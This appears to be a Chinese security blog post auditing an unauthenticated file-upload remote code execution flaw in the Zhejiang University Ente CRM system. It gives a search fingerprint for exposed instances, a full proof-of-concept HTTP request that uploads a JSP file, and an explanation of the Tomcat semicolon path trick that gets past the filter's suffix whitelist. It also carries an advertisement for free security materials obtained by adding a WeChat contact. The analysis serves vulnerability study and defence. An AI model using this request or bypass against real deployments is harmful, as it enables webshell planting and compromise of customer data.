指紋:title="歡迎使用浙大恩特客户資源管理系統"
本文對該系統公開在互聯網,但未分析代碼細節的漏洞進行審計分析:
前台文件上傳RCE
該系統2019版本存在權限繞過加文件上傳組合漏洞,可通過上傳webshell實現前台RCE。
公開POC:
POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/112.0 uacqAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:
gzip, deflateConnection: closeContent-Type: multipart/form-data;
boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Length: 203
------WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Disposition:
form-data; name="file";filename="as.jsp"Content-Type: image/jpeg
<%out.print("test");%>------WebKitFormBoundarye8FPHsIAq9JN8j2A--
權限繞過部分先看過濾器:

分析web.xml發現purfilter為全局過濾器:

如上,會對/*也就是任意請求進行攔截,跟進源碼:

首先出現的就是白名單後綴+白名單接口,在後續校驗中也是對非listExpUrl內容的後綴或者接口才會進行權限校驗:
而攔截器在進行後綴白名單檢測時,獲取後綴的方式如下:

通過獲取最後一個.的部分作為後綴。
【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客户端安全檢測指南(安卓+IOS)
而且該系統是tomcat容器,基於該容器對;的解析特性,不會匹配到;後面的內容,也就是在進行路由匹配時,只會匹配到CustomerAction.entphone,從而使得CustomerAction.entphone;.js?method=loadFile順利進入過濾器層面的校驗,並且此時獲取的後綴又是.js,處於白名單後綴,從而實現權限繞過。

接下來分析:上傳點代碼漏洞原因:

先在xml文件尋找接口對應後端代碼,該接口匹配後綴.entphone,對應代碼為:enterphone.EntPhoneControl類。
全局搜索EntPhoneControl類:

跟進漏洞類CustomerAction:

跟進method對應loadFile方法:

要想進入文件上傳邏輯,會先進行gesum參數的條件判斷:

在gesum不為空時才進入上傳邏輯,原數據包裏面是沒有傳gesum參數的,在java裏面,一般值會設置為NULL,而NULL不等於空,則能夠順利進入if邏輯。
進入if塊後,代碼會繼續執行以下步驟:
創建CustomerBean並設置gesnum(此時gesnum為null)和tenantID。
調用customerBean.checkGesnum()檢查客户代碼是否存在。
這一步是關鍵:若checkGesnum()方法在gesnum為null時返回false(即認為"客户代碼不存在",符合業務邏輯,因為null通常不是有效的客户代碼),則會進入else分支,執行文件上傳邏輯。

隨後通過如上文件獲取文件名,並直接進行文件上傳,由於未進行後綴校驗,從而可上傳jsp文件,造成RCE漏洞。
本地環境漏洞復現:

上傳成功,併成功解析:

更多網安技能的在線實操練習,請點擊這裏>>